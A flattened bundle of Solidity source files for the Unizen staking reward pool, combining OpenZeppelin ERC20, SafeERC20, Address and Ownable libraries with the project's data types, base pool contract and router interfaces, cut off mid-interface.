* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library SharedDataTypes {
// struct for returning snapshot values
struct StakeSnapshot {
// initial block number snapshoted
uint256 startBlock;
// end block number snapshoted
uint256 endBlock;
// staked amount at initial block
uint256 stakedAmount;
// total value locked at end block
uint256 tokenTVL;
}
// general staker user information
struct StakerUser {
// snapshotted stakes of the user per token (token => block.number => stakedAmount)
mapping(address => mapping(uint256 => uint256)) stakedAmountSnapshots;
// snapshotted stakes of the user per token keys (token => block.number[])
mapping(address => uint256[]) stakedAmountKeys;
// current stakes of the user per token
mapping(address => uint256) stakedAmount;
// total amount of holder tokens
uint256 zcxhtStakedAmount;
}
// information for stakeable tokens
struct StakeableToken {
// snapshotted total value locked (TVL) (block.number => totalValueLocked)
mapping(uint256 => uint256) totalValueLockedSnapshots;
// snapshotted total value locked (TVL) keys (block.number[])
uint256[] totalValueLockedKeys;
// current total value locked (TVL)
uint256 totalValueLocked;
uint256 weight;
bool active;
}
// POOL DATA
// data object for a user stake on a pool
struct PoolStakerUser {
// saved / withdrawn rewards of user
uint256 totalSavedRewards;
// total purchased allocation
uint256 totalPurchasedAllocation;
// native address, if necessary
string nativeAddress;
// date/time when user has claimed the reward
uint256 claimedTime;
}
// flat data type of stake for UI
struct FlatPoolStakerUser {
address[] tokens;
uint256[] amounts;
uint256 pendingRewards;
uint256 totalPurchasedAllocation;
uint256 totalSavedRewards;
uint256 claimedTime;
PoolState state;
UserPoolState userState;
}
// UI information for pool
// data will be fetched via github token repository
// blockchain / cAddress being the most relevant values
// for fetching the correct token data
struct PoolInfo {
// token name
string name;
// name of blockchain, as written on github
string blockchain;
// tokens contract address on chain
string cAddress;
}
// possible states of the reward pool
enum PoolState {
pendingStaking,
staking,
pendingPayment,
payment,
pendingDistribution,
distribution,
retired
}
// possible states of the reward pool's user
enum UserPoolState {
notclaimed,
claimed,
rejected,
missed
}
// input data for new reward pools
struct PoolInputData {
// total rewards to distribute
uint256 totalRewards;
// start block for distribution
uint256 startBlock;
// end block for distribution
uint256 endBlock;
// erc token address
address token;
// pool type
uint8 poolType;
// information about the reward token
PoolInfo tokenInfo;
}
struct PoolData {
PoolState state;
// pool information for the ui
PoolInfo info;
// start block of staking rewards
uint256 startBlock;
// end block of staking rewards
uint256 endBlock;
// start block of payment period
uint256 paymentStartBlock;
// end block of payment period
uint256 paymentEndBlock;
// start block of distribution period
uint256 distributionStartBlock;
// end block of distribution period
uint256 distributionEndBlock;
// total rewards for allocation
uint256 totalRewards;
// rewards per block
uint256 rewardsPerBlock;
// price of a single payment token
uint256 rewardTokenPrice;
// type of the pool
uint8 poolType;
// address of payment token
address paymentToken;
// address of reward token
address token;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
pragma abicoder v2;
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {IUZV1RewardPool} from "../interfaces/pools/IUZV1RewardPool.sol";
import {IUZV1Router} from "../interfaces/IUZV1Router.sol";
import {SharedDataTypes} from "../libraries/SharedDataTypes.sol";
import {UZV1ProAccess} from "../membership/UZV1ProAccess.sol";
/**
* @title UnizenBasePool
* @author Unizen
* @notice Base Reward pool for Unizen. Serves as base for all existing pool types,
* to ease more pool types and reduce duplicated code.
* The base rewards calculation approach is based on the great work of MasterChef.sol by SushiSwap.
* https://github.com/sushiswap/sushiswap/blob/master/contracts/MasterChef.sol
**/
abstract contract UZV1BasePool is IUZV1RewardPool, UZV1ProAccess {
using SafeMath for uint256;
/* === STATE VARIABLES === */
// router address
IUZV1Router internal _router;
address public override factory;
// data of user stakes and rewards
mapping(address => SharedDataTypes.PoolStakerUser) internal _poolStakerUser;
// pool data
SharedDataTypes.PoolData internal _poolData;
// total rewards left
uint256 internal _totalRewardsLeft;
modifier onlyFactoryOrOwner() {
require(
_msgSender() == factory || _msgSender() == owner(),
"ONLY_FACTORY_OR_OWNER"
);
_;
}
function initialize(address _newRouter, address _accessToken)
public
virtual
override
initializer
{
UZV1ProAccess.initialize(_accessToken);
_router = IUZV1Router(_newRouter);
emit PoolInitiated();
}
function setFactory(address _factory) external override onlyOwner {
factory = _factory;
}
function transferOwnership(address _newOwner)
public
override(IUZV1RewardPool, OwnableUpgradeable)
onlyOwner
{
OwnableUpgradeable.transferOwnership(_newOwner);
}
/* === VIEW FUNCTIONS === */
function getUserPoolStake(address _user)
public
view
virtual
override
returns (SharedDataTypes.PoolStakerUser memory)
{
return _poolStakerUser[_user];
}
function getPendingRewards(address _user)
external
view
virtual
override
returns (uint256 reward)
{
return _getPendingRewards(_user);
}
/**
* @dev Calculates the current pending reward amounts of a user
* @param _user The user to check
*
* @return reward uint256 pending amount of user rewards
**/
function _getPendingRewards(address _user)
internal
view
returns (uint256 reward)
{
uint256 _totalRewards = _getTotalRewards(_user);
return
_totalRewards > _poolStakerUser[_user].totalSavedRewards
? _totalRewards.sub(_poolStakerUser[_user].totalSavedRewards)
: 0;
}
/**
* @dev Calculates the current total reward amounts of a user
* @param _user The user to check
*
* @return reward uint256 total amount of user rewards
**/
function _getTotalRewards(address _user)
internal
view
returns (uint256 reward)
{
// no need to calculate, if rewards haven't started yet
if (block.number < _poolData.startBlock) return 0;
// get all tokens
(
address[] memory _allTokens,
,
uint256[] memory _weights,
uint256 _combinedWeight
) = _router.getAllTokens(_getLastRewardBlock());
// loop through all active tokens and get users currently pending reward
for (uint8 i = 0; i < _allTokens.length; i++) {
// read user stakes for every token
SharedDataTypes.StakeSnapshot[] memory _snapshots = _router
.getUserStakesSnapshots(
_user,
_allTokens[i],
_poolData.startBlock,
_getLastRewardBlock()
);
// calculates reward for every snapshoted block period
for (uint256 bl = 0; bl < _snapshots.length; bl++) {
// calculate pending rewards for token and add it to total pending reward amount
reward = reward.add(
_calculateTotalRewardForToken(
_snapshots[bl].stakedAmount,
_weights[i],
_combinedWeight,
_snapshots[bl].tokenTVL,
_snapshots[bl].endBlock.sub(_snapshots[bl].startBlock)
)
);
}
}
}
/**
* @dev Returns whether the pool is currently active
*
* @return bool active status of pool
**/
function isPoolActive() public view virtual override returns (bool) {
return (block.number >= _poolData.startBlock &&
block.number <= _poolData.endBlock);
}
/**
* @dev Returns whether the pool can be payed with a token
*
* @return bool status if pool is payable
**/
function isPayable() public view virtual override returns (bool);
/**
* @dev Returns whether the pool is a base or native pool
*
* @return bool True, if pool distributes native rewards
**/
function isNative() public view virtual override returns (bool);
/**
* @dev Returns all relevant information of an pool, excluding the stakes
* of users.
*
* @return PoolData object
**/
function getPoolInfo()
external
view
virtual
override
returns (SharedDataTypes.PoolData memory)
{
SharedDataTypes.PoolData memory _data = _poolData;
_data.state = getPoolState();
return _data;
}
/**
* @dev Returns the current state of the pool. Not all states
* are available on every pool type. f.e. payment
*
* @return PoolState State of the current phase
* * pendingStaking
* * staking
* * retired
**/
function getPoolState()
public
view
virtual
override
returns (SharedDataTypes.PoolState)
{
// if current block is bigger than end block, return retired state
if (block.number > _poolData.endBlock) {
return SharedDataTypes.PoolState.retired;
}
// if current block is within start and end block, return staking phase
if (
block.number >= _poolData.startBlock &&
block.number <= _poolData.endBlock
) {
return SharedDataTypes.PoolState.staking;
}
// otherwise, pool is in pendingStaking state
return SharedDataTypes.PoolState.pendingStaking;
}
/**
* @dev Returns the current state of the pool user
*
* @return UserPoolState State of the user for the current phase
* * notclaimed
* * claimed
* * rejected
* * missed
**/
function getUserPoolState()
public
view
virtual
override
returns (SharedDataTypes.UserPoolState)
{
return SharedDataTypes.UserPoolState.notclaimed;
}
/**
* @dev Returns the current type of the pool
*
* @return uint8 id of used pool type
**/
function getPoolType() external view virtual override returns (uint8);
/**
* @dev Returns all relevant staking data for a user.
*
* @param _user address of user to check
*
* @return FlatPoolStakerUser data object, containing all information about the staking data
* * total tokens staked
* * total saved rewards (saved/withdrawn)
* * array with stakes for each active token
**/
function getUserInfo(address _user)
public
view
virtual
override
returns (SharedDataTypes.FlatPoolStakerUser memory)
{
SharedDataTypes.FlatPoolStakerUser memory _userData;
// use data from staking contract
uint256[] memory _userStakes = _router.getUserStakes(
_user,
_getLastRewardBlock()
);
// get all tokens
(address[] memory _allTokens, , , ) = _router.getAllTokens();
_userData.totalSavedRewards = _poolStakerUser[_user].totalSavedRewards;
_userData.pendingRewards = _getPendingRewards(_user);
_userData.amounts = new uint256[](_allTokens.length);
_userData.tokens = new address[](_allTokens.length);
for (uint8 i = 0; i < _allTokens.length; i++) {
_userData.tokens[i] = _allTokens[i];
_userData.amounts[i] = _userStakes[i];
}
_userData.state = getPoolState();
_userData.userState = getUserPoolState();
return _userData;
}
/**
* @dev Returns whether the pool pays out any rewards. Usually true for onchain and
* false of off-chain reward pools.
*
* @return bool True if the user can receive rewards
**/
function canReceiveRewards() external view virtual override returns (bool);
/**
* @dev Returns the rewards that are left on the pool. This can be different, based
* on the type of pool. While basic reward pools will just return the reward token balance,
* off-chain pools will just store virtual allocations for users and incubators have different
* returns, based on their current pool state
*
* @return uint256 Amount of rewards left
**/
function getAmountOfOpenRewards()
external
view
virtual
override
returns (uint256)
{
return _totalRewardsLeft;
}
/**
* @dev Returns the start block for staking
* @return uint256 Staking start block number
**/
function getStartBlock() public view virtual override returns (uint256) {
return _poolData.startBlock;
}
/**
* @dev Returns the end block for staking
* @return uint256 Staking end block number
**/
function getEndBlock() public view virtual override returns (uint256) {
return _poolData.endBlock;
}
/**
* @dev Returns start and end blocks for
* all existing stages of the pool
* @return uint256[] Array with all block numbers. Each phase always has startBlock, endBlock
*/
function getTimeWindows()
external
view
virtual
override
returns (uint256[] memory)
{
uint256[] memory timeWindows = new uint256[](2);
timeWindows[0] = getStartBlock();
timeWindows[1] = getEndBlock();
return timeWindows;
}
/* === MUTATING FUNCTIONS === */
/// user functions
function pay(address _user, uint256 _amount)
external
virtual
override
onlyRouterOrProAccess(_msgSender())
returns (uint256 refund)
{
revert();
}
function claimRewards(address _user)
external
virtual
override
whenNotPaused
onlyRouterOrProAccess(_msgSender())
{
_claimRewards(_user);
}
function _claimRewards(address _user) internal virtual {
uint256 _pendingRewards = _getPendingRewards(_user);
// check if there are pending rewards
if (_pendingRewards > 0) {
// claim rewards
_safeClaim(_user, _pendingRewards);
}
}
/**
* @dev Allows the user to set a custom native address as receiver of rewards
* as these rewards will be distributed off-chain.
*
* @param _user address of the user, we want to update
* @param _receiver string users native address, where rewards will be sent to
**/
function setNativeAddress(address _user, string calldata _receiver)
external
override
onlyRouterOrProAccess(_msgSender())
{
require(isNative() == true, "NO_NATIVE_ADDR_REQ");
require(_user != address(0), "ZERO_ADDRESS");
require(bytes(_receiver).length > 0, "EMPTY_RECEIVER");
// if sender is not router, sender and user have to
// be identical
if (_msgSender() != address(_router)) {
require(_msgSender() == _user, "FORBIDDEN");
}
_poolStakerUser[_user].nativeAddress = _receiver;
}
/**
* @dev Returns the users current address as string, or the user provided
* native address, if the pool is a native reward pool
*
* @param user address of the user
* @return receiverAddress string of the users receiving address
*/
function getUserReceiverAddress(address user)
external
view
override
returns (string memory receiverAddress)
{
require(user != address(0), "ZERO_ADDRESS");
receiverAddress = (isNative() == true)
? _poolStakerUser[user].nativeAddress
: _addressToString(user);
}
// helpers to convert address to string
// https://ethereum.stackexchange.com/questions/72677/convert-address-to-string-after-solidity-0-5-x
function _addressToString(address _addr)
internal
pure
returns (string memory)
{
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(51);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)];
str[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
/**
* @dev Calculates the last reward block
* @return uint256 Last reward block (block.number or _poolData.endBlock)
**/
function _getLastRewardBlock() internal view virtual returns (uint256) {
return
(block.number <= _poolData.endBlock)
? block.number
: _poolData.endBlock;
}
/**
* @dev Safety function that takes care of claiming amounts that
* exceed the reward that is left, in case there is a slight offset
* due to rounding issues.
*
* @param _user The user we want to send rewards to
* @param _amount The amount of rewards that should be claimed / sent
**/
function _safeClaim(address _user, uint256 _amount)
internal
virtual
returns (uint256)
{
uint256 _realAmount = (_amount <= _totalRewardsLeft)
? _amount
: _totalRewardsLeft;
require(_realAmount > 0, "ZERO_REWARD_AMOUNT");
_poolStakerUser[_user].totalSavedRewards = _poolStakerUser[_user]
.totalSavedRewards
.add(_realAmount);
_totalRewardsLeft = _totalRewardsLeft.sub(_realAmount);
emit RewardClaimed(_user, _realAmount);
return _realAmount;
}
function _rewardsForToken(
uint256 _weight,
uint256 _combinedWeight,
uint256 _tvl,
uint256 _blocks
) internal view returns (uint256) {
uint256 _reward = _blocks
.mul(_poolData.rewardsPerBlock)
.mul(_weight)
.div(_combinedWeight);
if (_tvl > 0) {
return _reward.mul(1e18).div(_tvl);
} else {
return 0;
}
}
function _calculateTotalRewardForToken(
uint256 _userStakes,
uint256 _weight,
uint256 _combinedWeight,
uint256 _tvl,
uint256 _blocks
) internal view returns (uint256 reward) {
uint256 _rewardsPerShare;
// we only need to calculate this, if the user holds any
// amount of this token
if (_userStakes > 0) {
// check if we need to calculate the rewards for more than the current block
if (_tvl > 0) {
// calculate the rewards per share
_rewardsPerShare = _rewardsForToken(
_weight,
_combinedWeight,
_tvl,
_blocks
);
// check if there is any reward to calculate
if (_rewardsPerShare > 0) {
// get the current reward for users stakes
reward = _userStakes.mul(_rewardsPerShare).div(1e18);
}
}
}
}
/// control functions
/**
* @dev Withdrawal function to remove payments, leftover rewards or tokens sent by accident, to the owner
*
* @param _tokenAddress address of token to withdraw
* @param _amount amount of tokens to withdraw, 0 for all
*/
function withdrawTokens(address _tokenAddress, uint256 _amount)
external
override
onlyFactoryOrOwner
{
require(_tokenAddress != address(0), "ZERO_ADDRESS");
IERC20 _token = IERC20(_tokenAddress);
uint256 _balance = _token.balanceOf(address(this));
require(_balance > 0, "NO_TOKEN_BALANCE");
uint256 _amountToWithdraw = (_amount > 0 && _amount <= _balance)
? _amount
: _balance;
SafeERC20.safeTransfer(_token, owner(), _amountToWithdraw);
}
/**
* @dev Updates the start / endblock of the staking window. Also updated the rewards
* per block based on the new timeframe. Use with caution: this function can result
* in unexpected issues, if used during an active staking window.
*
* @param _startBlock start of the staking window
* @param _endBlock end of the staking window
*/
function setStakingWindow(uint256 _startBlock, uint256 _endBlock)
public
virtual
override
onlyFactoryOrOwner
{
require(_endBlock > _startBlock, "INVALID_END_BLOCK");
require(_startBlock > 0, "INVALID_START_BLOCK");
require(_endBlock > 0, "INVALID_END_BLOCK");
// start block cant be in the past
require(_startBlock >= block.number, "INVALID_START_BLOCK");
_poolData.startBlock = _startBlock;
_poolData.endBlock = _endBlock;
// calculate rewards per block
_poolData.rewardsPerBlock = _poolData.totalRewards.div(
_poolData.endBlock.sub(_poolData.startBlock)
);
}
/**
* @dev Updates the whole pool meta data, based on the new pool input object
* This function should be used with caution, as it could result in unexpected
* issues on the calculations. Ideally only used during waiting state
*
* @param _inputData object containing all relevant pool information
**/
function setPoolData(SharedDataTypes.PoolInputData calldata _inputData)
external
virtual
override
onlyFactoryOrOwner
{
// set pool data
_poolData.totalRewards = _inputData.totalRewards;
_poolData.token = _inputData.token;
_poolData.poolType = _inputData.poolType;
_poolData.info = _inputData.tokenInfo;
_totalRewardsLeft = _inputData.totalRewards;
// set staking window and calculate rewards per block
setStakingWindow(_inputData.startBlock, _inputData.endBlock);
emit PoolDataSet(
_poolData.token,
_poolData.totalRewards,
_poolData.startBlock,
_poolData.endBlock
);
}
/* === MODIFIERS === */
modifier onlyRouter() {
require(_msgSender() == address(_router), "FORBIDDEN: ROUTER");
_;
}
modifier onlyRouterOrProAccess(address _user) {
if (_user != address(_router)) {
_checkPro(_user);
}
_;
}
/* === EVENTS === */
event PoolInitiated();
event PoolDataSet(
address rewardToken,
uint256 totalReward,
uint256 startBlock,
uint256 endBlock
);
event RewardClaimed(address indexed user, uint256 amount);
event AllocationPaid(
address indexed user,
address token,
uint256 paidAmount,
uint256 paidAllocation
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
pragma abicoder v2;
import {SharedDataTypes} from "../../libraries/SharedDataTypes.sol";
interface IUZV1RewardPool {
/* mutating functions */
function claimRewards(address _user) external;
function factory() external returns (address);
function setFactory(address) external;
function transferOwnership(address _newOwner) external;
function pay(address _user, uint256 _amount)
external
returns (uint256 refund);
/* view functions */
// pool specific
function canReceiveRewards() external view returns (bool);
function isPoolActive() external view returns (bool);
function isPayable() external view returns (bool);
function isNative() external view returns (bool);
function getPoolState() external view returns (SharedDataTypes.PoolState);
function getUserPoolStake(address _user)
external
view
returns (SharedDataTypes.PoolStakerUser memory);
function getUserPoolState()
external
view
returns (SharedDataTypes.UserPoolState);
function getPoolType() external view returns (uint8);
function getPoolInfo()
external
view
returns (SharedDataTypes.PoolData memory);
function getAmountOfOpenRewards() external view returns (uint256);
function getStartBlock() external view returns (uint256);
function getEndBlock() external view returns (uint256);
function getTimeWindows() external view returns (uint256[] memory);
function getUserReceiverAddress(address user)
external
view
returns (string memory receiverAddress);
// user specific
function getPendingRewards(address _user)
external
view
returns (uint256 reward);
function getUserInfo(address _user)
external
view
returns (SharedDataTypes.FlatPoolStakerUser memory);
function setNativeAddress(address _user, string calldata _receiver)
external;
function initialize(address _router, address _accessToken) external;
function setPoolData(SharedDataTypes.PoolInputData calldata _inputData)
external;
function withdrawTokens(address _tokenAddress, uint256 _amount) external;
function setStakingWindow(uint256 _startBlock, uint256 _endBlock) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
pragma abicoder v2;
import {IUZV1RewardPool} from "./pools/IUZV1RewardPool.sol";
import {SharedDataTypes} from "../libraries/SharedDataTypes.sol";
interface IUZV1Router {
/* view functions */
function getAllUserRewards(address _user)
external
view
returns (address[] memory _pools, uint256[] memory _rewards);
function getAllPools() external view returns (address[] memory);
function getAllTokens()
external
view
returns (
address[] memory tokenList,
uint256[] memory tokenTVLs,
uint256[] memory weights,
uint256 combinedWeight
);
function getAllTokens(uint256 _blocknumber)
external
view
returns (
address[] memory tokenList,
uint256[] memory tokenTVLs,
uint256[] memory weights,
uint256 combinedWeight
);
function getTVLs() external view returns (uint256[] memory _tokenTVLs);
function getTVLs(uint256 _blocknumber)
external
view
returns (uint256[] memory _tokenTVLs);
function getUserTVLShare(address _user, uint256 _precision)
external
view
returns (uint256[] memory);
function getStakingUserData(address _user)
external
view
returns (
address[] memory,
uint256[] memory,
uint256
);
function getTokenWeights()
external
view
returns (uint256[] memory weights, uint256 combinedWeight);
function getUserStakes(address _user)
external
view
returns (uint256[] memory);
function getUserStakes(address _user, uint256 _blocknumber)
external
view
returns (uint256[] memory);
function getUserStakesSnapshots(
address _user,
address _token,
uint256 _startBlock,
uint256 _endBlock
)
external
view
returns (SharedDataTypes.StakeSnapshot[] memory startBlocks);
/* pool view functions */
function canReceiveRewards(address _pool) external view returns (bool);
function isPoolNative(address _pool) external view returns (bool);
function getPoolState(address _pool)
external
view
returns (SharedDataTypes.PoolState);
